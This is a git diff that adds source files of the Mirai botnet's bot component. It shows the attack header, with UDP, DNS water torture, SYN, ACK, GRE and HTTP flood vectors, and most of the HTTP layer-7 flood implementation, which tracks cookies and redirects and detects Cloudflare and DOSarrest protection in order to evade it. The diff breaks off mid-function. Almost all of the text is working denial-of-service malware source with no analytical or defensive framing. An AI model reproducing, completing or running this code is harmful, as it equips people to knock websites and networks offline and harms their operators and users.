+ +static void free_opts(struct attack_option *opts, int len) +{ + int i; + + if (opts == NULL) + return; + + for (i = 0; i < len; i++) + { + if (opts[i].val != NULL) + free(opts[i].val); + } + free(opts); +} diff --git a/mirai/bot/attack.h b/mirai/bot/attack.h new file mode 100755 index 0000000..024724f --- /dev/null +++ b/mirai/bot/attack.h @@ -0,0 +1,170 @@ +#pragma once + +#include +#include +#include +#include +#include + +#include "includes.h" +#include "protocol.h" + +#define ATTACK_CONCURRENT_MAX 8 + +#ifdef DEBUG +#define HTTP_CONNECTION_MAX 1000 +#else +#define HTTP_CONNECTION_MAX 256 +#endif + +struct attack_target { + struct sockaddr_in sock_addr; + ipv4_t addr; + uint8_t netmask; +}; + +struct attack_option { + char *val; + uint8_t key; +}; + +typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *); +typedef uint8_t ATTACK_VECTOR; + +#define ATK_VEC_UDP 0 /* Straight up UDP flood */ +#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */ +#define ATK_VEC_DNS 2 /* DNS water torture */ +#define ATK_VEC_SYN 3 /* SYN flood with options */ +#define ATK_VEC_ACK 4 /* ACK flood */ +#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */ +#define ATK_VEC_GREIP 6 /* GRE IP flood */ +#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */ +//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */ +#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */ +#define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */ + +#define ATK_OPT_PAYLOAD_SIZE 0 // What should the size of the packet data be? +#define ATK_OPT_PAYLOAD_RAND 1 // Should we randomize the packet data contents? +#define ATK_OPT_IP_TOS 2 // tos field in IP header +#define ATK_OPT_IP_IDENT 3 // ident field in IP header +#define ATK_OPT_IP_TTL 4 // ttl field in IP header +#define ATK_OPT_IP_DF 5 // Dont-Fragment bit set +#define ATK_OPT_SPORT 6 // Should we force a source port? (0 = random) +#define ATK_OPT_DPORT 7 // Should we force a dest port? (0 = random) +#define ATK_OPT_DOMAIN 8 // Domain name for DNS attack +#define ATK_OPT_DNS_HDR_ID 9 // Domain name header ID +//#define ATK_OPT_TCPCC 10 // TCP congestion control +#define ATK_OPT_URG 11 // TCP URG header flag +#define ATK_OPT_ACK 12 // TCP ACK header flag +#define ATK_OPT_PSH 13 // TCP PSH header flag +#define ATK_OPT_RST 14 // TCP RST header flag +#define ATK_OPT_SYN 15 // TCP SYN header flag +#define ATK_OPT_FIN 16 // TCP FIN header flag +#define ATK_OPT_SEQRND 17 // Should we force the sequence number? (TCP only) +#define ATK_OPT_ACKRND 18 // Should we force the ack number? (TCP only) +#define ATK_OPT_GRE_CONSTIP 19 // Should the encapsulated destination address be the same as the target? +#define ATK_OPT_METHOD 20 // Method for HTTP flood +#define ATK_OPT_POST_DATA 21 // Any data to be posted with HTTP flood +#define ATK_OPT_PATH 22 // The path for the HTTP flood +#define ATK_OPT_HTTPS 23 // Is this URL SSL/HTTPS? +#define ATK_OPT_CONNS 24 // Number of sockets to use +#define ATK_OPT_SOURCE 25 // Source IP + +struct attack_method { + ATTACK_FUNC func; + ATTACK_VECTOR vector; +}; + +struct attack_stomp_data { + ipv4_t addr; + uint32_t seq, ack_seq; + port_t sport, dport; +}; + +#define HTTP_CONN_INIT 0 // Inital state +#define HTTP_CONN_RESTART 1 // Scheduled to restart connection next spin +#define HTTP_CONN_CONNECTING 2 // Waiting for it to connect +#define HTTP_CONN_HTTPS_STUFF 3 // Handle any needed HTTPS stuff such as negotiation +#define HTTP_CONN_SEND 4 // Sending HTTP request +#define HTTP_CONN_SEND_HEADERS 5 // Send HTTP headers +#define HTTP_CONN_RECV_HEADER 6 // Get HTTP headers and check for things like location or cookies etc +#define HTTP_CONN_RECV_BODY 7 // Get HTTP body and check for cf iaua mode +#define HTTP_CONN_SEND_JUNK 8 // Send as much data as possible +#define HTTP_CONN_SNDBUF_WAIT 9 // Wait for socket to be available to be written to +#define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data. +#define HTTP_CONN_CLOSED 11 // Close connection and move on + +#define HTTP_RDBUF_SIZE 1024 +#define HTTP_HACK_DRAIN 64 +#define HTTP_PATH_MAX 256 +#define HTTP_DOMAIN_MAX 128 +#define HTTP_COOKIE_MAX 5 // no more then 5 tracked cookies +#define HTTP_COOKIE_LEN_MAX 128 // max cookie len +#define HTTP_POST_MAX 512 // max post data len + +#define HTTP_PROT_DOSARREST 1 // Server: DOSarrest +#define HTTP_PROT_CLOUDFLARE 2 // Server: cloudflare-nginx + +struct attack_http_state { + int fd; + uint8_t state; + int last_recv; + int last_send; + ipv4_t dst_addr; + char user_agent[512]; + char path[HTTP_PATH_MAX + 1]; + char domain[HTTP_DOMAIN_MAX + 1]; + char postdata[HTTP_POST_MAX + 1]; + char method[9]; + char orig_method[9]; + + int protection_type; + + int keepalive; + int chunked; + int content_length; + + int num_cookies; + char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX]; + + int rdbuf_pos; + char rdbuf[HTTP_RDBUF_SIZE]; +}; + +struct attack_cfnull_state { + int fd; + uint8_t state; + int last_recv; + int last_send; + ipv4_t dst_addr; + char user_agent[512]; + char domain[HTTP_DOMAIN_MAX + 1]; + int to_send; +}; + +BOOL attack_init(void); +void attack_kill_all(void); +void attack_parse(char *, int); +void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *); +char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *); +int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int); +uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t); + +/* Actual attacks */ +void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *); + +void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *); + +void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *); + +void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *); +void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *); + +static void add_attack(ATTACK_VECTOR, ATTACK_FUNC); +static void free_opts(struct attack_option *, int); diff --git a/mirai/bot/attack_app.c b/mirai/bot/attack_app.c new file mode 100755 index 0000000..8694ab1 --- /dev/null +++ b/mirai/bot/attack_app.c @@ -0,0 +1,1175 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include +#include +#include +#include + +#include "includes.h" +#include "attack.h" +#include "rand.h" +#include "table.h" +#include "util.h" + +void attack_app_proxy(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + +} + + +void attack_app_http(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int i, ii, rfd, ret = 0; + struct attack_http_state *http_table = NULL; + char *postdata = attack_get_opt_str(opts_len, opts, ATK_OPT_POST_DATA, NULL); + char *method = attack_get_opt_str(opts_len, opts, ATK_OPT_METHOD, "GET"); + char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); + char *path = attack_get_opt_str(opts_len, opts, ATK_OPT_PATH, "/"); + int sockets = attack_get_opt_int(opts_len, opts, ATK_OPT_CONNS, 1); + port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 80); + + char generic_memes[10241] = {0}; + + if (domain == NULL || path == NULL) + return; + + if (util_strlen(path) > HTTP_PATH_MAX - 1) + return; + + if (util_strlen(domain) > HTTP_DOMAIN_MAX - 1) + return; + + if (util_strlen(method) > 9) + return; + + // BUT BRAH WHAT IF METHOD IS THE DEFAULT VALUE WONT IT SEGFAULT CAUSE READ ONLY STRING? + // yes it would segfault but we only update the values if they are not already uppercase. + // if the method is lowercase and its passed from the CNC we can update that memory no problem + for (ii = 0; ii < util_strlen(method); ii++) + if (method[ii] >= 'a' && method[ii] <= 'z') + method[ii] -= 32; + + if (sockets > HTTP_CONNECTION_MAX) + sockets = HTTP_CONNECTION_MAX; + + // unlock frequently used strings + table_unlock_val(TABLE_ATK_SET_COOKIE); + table_unlock_val(TABLE_ATK_REFRESH_HDR); + table_unlock_val(TABLE_ATK_LOCATION_HDR); + table_unlock_val(TABLE_ATK_SET_COOKIE_HDR); + table_unlock_val(TABLE_ATK_CONTENT_LENGTH_HDR); + table_unlock_val(TABLE_ATK_TRANSFER_ENCODING_HDR); + table_unlock_val(TABLE_ATK_CHUNKED); + table_unlock_val(TABLE_ATK_KEEP_ALIVE_HDR); + table_unlock_val(TABLE_ATK_CONNECTION_HDR); + table_unlock_val(TABLE_ATK_DOSARREST); + table_unlock_val(TABLE_ATK_CLOUDFLARE_NGINX); + + http_table = calloc(sockets, sizeof(struct attack_http_state)); + + for (i = 0; i < sockets; i++) + { + http_table[i].state = HTTP_CONN_INIT; + http_table[i].fd = -1; + http_table[i].dst_addr = targs[i % targs_len].addr; + + util_strcpy(http_table[i].path, path); + + if (http_table[i].path[0] != '/') + { + memmove(http_table[i].path + 1, http_table[i].path, util_strlen(http_table[i].path)); + http_table[i].path[0] = '/'; + } + + util_strcpy(http_table[i].orig_method, method); + util_strcpy(http_table[i].method, method); + + util_strcpy(http_table[i].domain, domain); + + if (targs[i % targs_len].netmask < 32) + http_table[i].dst_addr = htonl(ntohl(targs[i % targs_len].addr) + (((uint32_t)rand_next()) >> targs[i % targs_len].netmask)); + + switch(rand_next() % 5) + { + case 0: + table_unlock_val(TABLE_HTTP_ONE); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_ONE, NULL)); + table_lock_val(TABLE_HTTP_ONE); + break; + case 1: + table_unlock_val(TABLE_HTTP_TWO); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_TWO, NULL)); + table_lock_val(TABLE_HTTP_TWO); + break; + case 2: + table_unlock_val(TABLE_HTTP_THREE); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_THREE, NULL)); + table_lock_val(TABLE_HTTP_THREE); + break; + case 3: + table_unlock_val(TABLE_HTTP_FOUR); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FOUR, NULL)); + table_lock_val(TABLE_HTTP_FOUR); + break; + case 4: + table_unlock_val(TABLE_HTTP_FIVE); + util_strcpy(http_table[i].user_agent, table_retrieve_val(TABLE_HTTP_FIVE, NULL)); + table_lock_val(TABLE_HTTP_FIVE); + break; + } + + util_strcpy(http_table[i].path, path); + } + + while(TRUE) + { + fd_set fdset_rd, fdset_wr; + int mfd = 0, nfds; + struct timeval tim; + struct attack_http_state *conn; + uint32_t fake_time = time(NULL); + + FD_ZERO(&fdset_rd); + FD_ZERO(&fdset_wr); + + for (i = 0; i < sockets; i++) + { + conn = &(http_table[i]); + + if (conn->state == HTTP_CONN_RESTART) + { + if (conn->keepalive) + conn->state = HTTP_CONN_SEND; + else + conn->state = HTTP_CONN_INIT; + } + + if (conn->state == HTTP_CONN_INIT) + { + struct sockaddr_in addr = {0}; + + if (conn->fd != -1) + close(conn->fd); + if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + continue; + + fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0)); + + ii = 65535; + setsockopt(conn->fd, 0, SO_RCVBUF, &ii ,sizeof(int)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = conn->dst_addr; + addr.sin_port = htons(dport); + + conn->last_recv = fake_time; + conn->state = HTTP_CONN_CONNECTING; + connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); +#ifdef DEBUG + printf("[http flood] fd%d started connect\n", conn->fd); +#endif + + FD_SET(conn->fd, &fdset_wr); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_CONNECTING) + { + if (fake_time - conn->last_recv > 30) + { + conn->state = HTTP_CONN_INIT; + close(conn->fd); + conn->fd = -1; + continue; + } + + FD_SET(conn->fd, &fdset_wr); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_SEND) + { + conn->content_length = -1; + conn->protection_type = 0; + util_zero(conn->rdbuf, HTTP_RDBUF_SIZE); + conn->rdbuf_pos = 0; + +#ifdef DEBUG + //printf("[http flood] Sending http request\n"); +#endif + + char buf[10240]; + util_zero(buf, 10240); + + util_strcpy(buf + util_strlen(buf), conn->method); + util_strcpy(buf + util_strlen(buf), " "); + util_strcpy(buf + util_strlen(buf), conn->path); + util_strcpy(buf + util_strlen(buf), " HTTP/1.1\r\nUser-Agent: "); + util_strcpy(buf + util_strlen(buf), conn->user_agent); + util_strcpy(buf + util_strlen(buf), "\r\nHost: "); + util_strcpy(buf + util_strlen(buf), conn->domain); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_KEEP_ALIVE); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_KEEP_ALIVE, NULL)); + table_lock_val(TABLE_ATK_KEEP_ALIVE); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_ACCEPT); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT, NULL)); + table_lock_val(TABLE_ATK_ACCEPT); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + table_unlock_val(TABLE_ATK_ACCEPT_LNG); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_ACCEPT_LNG, NULL)); + table_lock_val(TABLE_ATK_ACCEPT_LNG); + util_strcpy(buf + util_strlen(buf), "\r\n"); + + if (postdata != NULL) + { + table_unlock_val(TABLE_ATK_CONTENT_TYPE); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_TYPE, NULL)); + table_lock_val(TABLE_ATK_CONTENT_TYPE); + + util_strcpy(buf + util_strlen(buf), "\r\n"); + util_strcpy(buf + util_strlen(buf), table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)); + util_strcpy(buf + util_strlen(buf), " "); + util_itoa(util_strlen(postdata), 10, buf + util_strlen(buf)); + util_strcpy(buf + util_strlen(buf), "\r\n"); + } + + if (conn->num_cookies > 0) + { + util_strcpy(buf + util_strlen(buf), "Cookie: "); + for (ii = 0; ii < conn->num_cookies; ii++) + { + util_strcpy(buf + util_strlen(buf), conn->cookies[ii]); + util_strcpy(buf + util_strlen(buf), "; "); + } + util_strcpy(buf + util_strlen(buf), "\r\n"); + } + + util_strcpy(buf + util_strlen(buf), "\r\n"); + + if (postdata != NULL) + util_strcpy(buf + util_strlen(buf), postdata); + + if (!util_strcmp(conn->method, conn->orig_method)) + util_strcpy(conn->method, conn->orig_method); + +#ifdef DEBUG + if (sockets == 1) + { + printf("sending buf: \"%s\"\n", buf); + } +#endif + + send(conn->fd, buf, util_strlen(buf), MSG_NOSIGNAL); + conn->last_send = fake_time; + + conn->state = HTTP_CONN_RECV_HEADER; + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_RECV_HEADER) + { + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_RECV_BODY) + { + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_QUEUE_RESTART) + { + FD_SET(conn->fd, &fdset_rd); + if (conn->fd > mfd) + mfd = conn->fd + 1; + } + else if (conn->state == HTTP_CONN_CLOSED) + { + conn->state = HTTP_CONN_INIT; + close(conn->fd); + conn->fd = -1; + } + else + { + // NEW STATE WHO DIS + conn->state = HTTP_CONN_INIT; + close(conn->fd); + conn->fd = -1; + } + } + + if (mfd == 0) + continue; + + tim.tv_usec = 0; + tim.tv_sec = 1; + nfds = select(mfd, &fdset_rd, &fdset_wr, NULL, &tim); + fake_time = time(NULL); + + if (nfds < 1) + continue; + + for (i = 0; i < sockets; i++) + { + conn = &(http_table[i]); + + if (conn->fd == -1) + continue; + + if (FD_ISSET(conn->fd, &fdset_wr)) + { + int err = 0; + socklen_t err_len = sizeof (err); + + ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); + if (err == 0 && ret == 0) + { +#ifdef DEBUG + printf("[http flood] FD%d connected.\n", conn->fd); +#endif + conn->state = HTTP_CONN_SEND; + } + else + { +#ifdef DEBUG + printf("[http flood] FD%d error while connecting = %d\n", conn->fd, err); +#endif + close(conn->fd); + conn->fd = -1; + conn->state = HTTP_CONN_INIT; + continue; + } + } + + if (FD_ISSET(conn->fd, &fdset_rd)) + { + if (conn->state == HTTP_CONN_RECV_HEADER) + { + int processed = 0; + + util_zero(generic_memes, 10240); + if ((ret = recv(conn->fd, generic_memes, 10240, MSG_NOSIGNAL | MSG_PEEK)) < 1) + { + close(conn->fd); + conn->fd = -1; + conn->state = HTTP_CONN_INIT; + continue; + } + + + // we want to process a full http header (^: + if (util_memsearch(generic_memes, ret, "\r\n\r\n", 4) == -1 && ret < 10240) + continue; + + generic_memes[util_memsearch(generic_memes, ret, "\r\n\r\n", 4)] = 0; + +#ifdef DEBUG + if (sockets == 1) + printf("[http flood] headers: \"%s\"\n", generic_memes); +#endif + + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CLOUDFLARE_NGINX, NULL)) != -1) + conn->protection_type = HTTP_PROT_CLOUDFLARE; + + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_DOSARREST, NULL)) != -1) + conn->protection_type = HTTP_PROT_DOSARREST; + + conn->keepalive = 0; + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)) != -1) + { + int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONNECTION_HDR, NULL)); + if (generic_memes[offset] == ' ') + offset++; + + int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); + if (nl_off != -1) + { + char *con_ptr = &(generic_memes[offset]); + + if (nl_off >= 2) + nl_off -= 2; + generic_memes[offset + nl_off] = 0; + + if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_KEEP_ALIVE_HDR, NULL))) + conn->keepalive = 1; + } + } + + conn->chunked = 0; + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)) != -1) + { + int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_TRANSFER_ENCODING_HDR, NULL)); + if (generic_memes[offset] == ' ') + offset++; + + int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); + if (nl_off != -1) + { + char *con_ptr = &(generic_memes[offset]); + + if (nl_off >= 2) + nl_off -= 2; + generic_memes[offset + nl_off] = 0; + + if (util_stristr(con_ptr, util_strlen(con_ptr), table_retrieve_val(TABLE_ATK_CHUNKED, NULL))) + conn->chunked = 1; + } + } + + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)) != -1) + { + int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_CONTENT_LENGTH_HDR, NULL)); + if (generic_memes[offset] == ' ') + offset++; + + int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); + if (nl_off != -1) + { + char *len_ptr = &(generic_memes[offset]); + + if (nl_off >= 2) + nl_off -= 2; + generic_memes[offset + nl_off] = 0; + + conn->content_length = util_atoi(len_ptr, 10); + } + } else { + conn->content_length = 0; + } + + processed = 0; + while (util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)) != -1 && conn->num_cookies < HTTP_COOKIE_MAX) + { + int offset = util_stristr(generic_memes + processed, ret, table_retrieve_val(TABLE_ATK_SET_COOKIE_HDR, NULL)); + if (generic_memes[processed + offset] == ' ') + offset++; + + int nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, "\r\n", 2); + if (nl_off != -1) + { + char *cookie_ptr = &(generic_memes[processed + offset]); + + if (nl_off >= 2) + nl_off -= 2; + + if (util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) > 0) + nl_off = util_memsearch(generic_memes + processed + offset, ret - processed - offset, ";", 1) - 1; + + generic_memes[processed + offset + nl_off] = 0; + + for (ii = 0; ii < util_strlen(cookie_ptr); ii++) + if (cookie_ptr[ii] == '=') + break; + + if (cookie_ptr[ii] == '=') + { + int equal_off = ii, cookie_exists = FALSE; + + for (ii = 0; ii < conn->num_cookies; ii++) + if (util_strncmp(cookie_ptr, conn->cookies[ii], equal_off)) + { + cookie_exists = TRUE; + break; + } + + if (!cookie_exists) + { + if (util_strlen(cookie_ptr) < HTTP_COOKIE_LEN_MAX) + { + util_strcpy(conn->cookies[conn->num_cookies], cookie_ptr); + conn->num_cookies++; + } + } + } + } + + processed += offset; + } + + // this will still work as previous handlers will only add in null chars or similar + // and we specify the size of the string to stristr + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)) != -1) + { + int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_LOCATION_HDR, NULL)); + if (generic_memes[offset] == ' ') + offset++; + + int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); + if (nl_off != -1) + { + char *loc_ptr = &(generic_memes[offset]); + + if (nl_off >= 2) + nl_off -= 2; + generic_memes[offset + nl_off] = 0; + + //increment it one so that it is length of the string excluding null char instead of 0-based offset + nl_off++; + + if (util_memsearch(loc_ptr, nl_off, "http", 4) == 4) + { + //this is an absolute url, domain name change maybe? + ii = 7; + //http(s) + if (loc_ptr[4] == 's') + ii++; + + memmove(loc_ptr, loc_ptr + ii, nl_off - ii); + ii = 0; + while (loc_ptr[ii] != 0) + { + if (loc_ptr[ii] == '/') + { + loc_ptr[ii] = 0; + break; + } + ii++; + } + + // domain: loc_ptr; + // path: &(loc_ptr[ii + 1]); + + if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX) + util_strcpy(conn->domain, loc_ptr); + + if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) + { + util_zero(conn->path + 1, HTTP_PATH_MAX - 1); + if (util_strlen(&(loc_ptr[ii + 1])) > 0) + util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); + } + } + else if (loc_ptr[0] == '/') + { + //handle relative url + util_zero(conn->path + 1, HTTP_PATH_MAX - 1); + if (util_strlen(&(loc_ptr[ii + 1])) > 0 && util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) + util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); + } + + conn->state = HTTP_CONN_RESTART; + continue; + } + } + + if (util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)) != -1) + { + int offset = util_stristr(generic_memes, ret, table_retrieve_val(TABLE_ATK_REFRESH_HDR, NULL)); + if (generic_memes[offset] == ' ') + offset++; + + int nl_off = util_memsearch(generic_memes + offset, ret - offset, "\r\n", 2); + if (nl_off != -1) + { + char *loc_ptr = &(generic_memes[offset]); + + if (nl_off >= 2) + nl_off -= 2; + generic_memes[offset + nl_off] = 0; + + //increment it one so that it is length of the string excluding null char instead of 0-based offset + nl_off++; + + ii = 0; + + while (loc_ptr[ii] != 0 && loc_ptr[ii] >= '0' && loc_ptr[ii] <= '9') + ii++; + + if (loc_ptr[ii] != 0) + { + int wait_time = 0; + loc_ptr[ii] = 0; + ii++; + + if (loc_ptr[ii] == ' ') + ii++; + + if (util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url=") != -1) + ii += util_stristr(&(loc_ptr[ii]), util_strlen(&(loc_ptr[ii])), "url="); + + if (loc_ptr[ii] == '"') + { + ii++; + + //yes its ugly, but i dont care + if ((&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] == '"') + (&(loc_ptr[ii]))[util_strlen(&(loc_ptr[ii])) - 1] = 0; + } + + wait_time = util_atoi(loc_ptr, 10); + + //YOLO LOL + while (wait_time > 0 && wait_time < 10 && fake_time + wait_time > time(NULL)) + sleep(1); + + loc_ptr = &(loc_ptr[ii]); + + + if (util_stristr(loc_ptr, util_strlen(loc_ptr), "http") == 4) + { + //this is an absolute url, domain name change maybe? + ii = 7; + //http(s) + if (loc_ptr[4] == 's') + ii++; + + memmove(loc_ptr, loc_ptr + ii, nl_off - ii); + ii = 0; + while (loc_ptr[ii] != 0) + { + if (loc_ptr[ii] == '/') + { + loc_ptr[ii] = 0; + break; + } + ii++; + } + + // domain: loc_ptr; + // path: &(loc_ptr[ii + 1]); + + if (util_strlen(loc_ptr) > 0 && util_strlen(loc_ptr) < HTTP_DOMAIN_MAX) + util_strcpy(conn->domain, loc_ptr); + + if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) + { + util_zero(conn->path + 1, HTTP_PATH_MAX - 1); + if (util_strlen(&(loc_ptr[ii + 1])) > 0) + util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); + } + } + else if (loc_ptr[0] == '/') + { + //handle relative url + if (util_strlen(&(loc_ptr[ii + 1])) < HTTP_PATH_MAX) + { + util_zero(conn->path + 1, HTTP_PATH_MAX - 1); + if (util_strlen(&(loc_ptr[ii + 1])) > 0) + util_strcpy(conn->path + 1, &(loc_ptr[ii + 1])); + } + } + + strcpy(conn->method, "GET"); + // queue the state up for the next time + conn->state = HTTP_CONN_QUEUE_RESTART; + continue; + } + } + } + + // actually pull the content from the buffer that we processed via MSG_PEEK + processed = util_memsearch(generic_memes, ret, "\r\n\r\n", 4); + + if (util_strcmp(conn->method, "POST") || util_strcmp(conn->method, "GET")) + conn->state = HTTP_CONN_RECV_BODY; + else if (ret > processed) + conn->state = HTTP_CONN_QUEUE_RESTART; + else + conn->state = HTTP_CONN_RESTART; + + ret = recv(conn->fd, generic_memes, processed, MSG_NOSIGNAL); + } else if (conn->state == HTTP_CONN_RECV_BODY) { + while (TRUE) + { + // spooky doods changed state + if (conn->state != HTTP_CONN_RECV_BODY) + { + break; + } + + if (conn->rdbuf_pos == HTTP_RDBUF_SIZE) + { + memmove(conn->rdbuf, conn->rdbuf + HTTP_HACK_DRAIN, HTTP_RDBUF_SIZE - HTTP_HACK_DRAIN); + conn->rdbuf_pos -= HTTP_HACK_DRAIN; + } + errno = 0; + ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, HTTP_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL); + if (ret == 0) + { +#ifdef DEBUG + printf("[http flood] FD%d connection gracefully closed\n", conn->fd); +#endif + errno = ECONNRESET; + ret = -1; // Fall through to closing connection below + } + if (ret == -1) + { + if (errno != EAGAIN && errno != EWOULDBLOCK) + { +#ifdef DEBUG + printf("[http flood] FD%d lost connection\n", conn->fd); +#endif + close(conn->fd); + conn->fd = -1; + conn->state = HTTP_CONN_INIT; + } + break; + } + + conn->rdbuf_pos += ret; + conn->last_recv = fake_time; + + while (TRUE) + { + int consumed = 0; + + if (conn->content_length > 0) + { + + consumed = conn->content_length > conn->rdbuf_pos ? conn->rdbuf_pos : conn->content_length; + conn->content_length -= consumed; + + if (conn->protection_type == HTTP_PROT_DOSARREST) + { + // we specifically want this to be case sensitive + if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11) != -1) + { + int start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, table_retrieve_val(TABLE_ATK_SET_COOKIE, NULL), 11); + int end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1); + conn->rdbuf[start_pos + (end_pos - 1)] = 0; + + if (conn->num_cookies < HTTP_COOKIE_MAX && util_strlen(&(conn->rdbuf[start_pos])) < HTTP_COOKIE_LEN_MAX) + { + util_strcpy(conn->cookies[conn->num_cookies], &(conn->rdbuf[start_pos])); + util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), "="); + + start_pos += end_pos + 3; + end_pos = util_memsearch(&(conn->rdbuf[start_pos]), conn->rdbuf_pos - start_pos, "'", 1); + conn->rdbuf[start_pos + (end_pos - 1)] = 0; + + util_strcpy(conn->cookies[conn->num_cookies] + util_strlen(conn->cookies[conn->num_cookies]), &(conn->rdbuf[start_pos])); + conn->num_cookies++; + } + + conn->content_length = -1; + conn->state = HTTP_CONN_QUEUE_RESTART; + break; + } + } + } + + if (conn->content_length == 0) + { + if (conn->chunked == 1) + { + if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2) != -1) + { + int new_line_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "\r\n", 2); + conn->rdbuf[new_line_pos - 2] = 0; + if (util_memsearch(conn->rdbuf, new_line_pos, ";", 1) != -1) + conn->rdbuf[util_memsearch(conn->rdbuf, new_line_pos, ";", 1)] = 0; + + int chunklen = util_atoi(conn->rdbuf, 16); + + if (chunklen 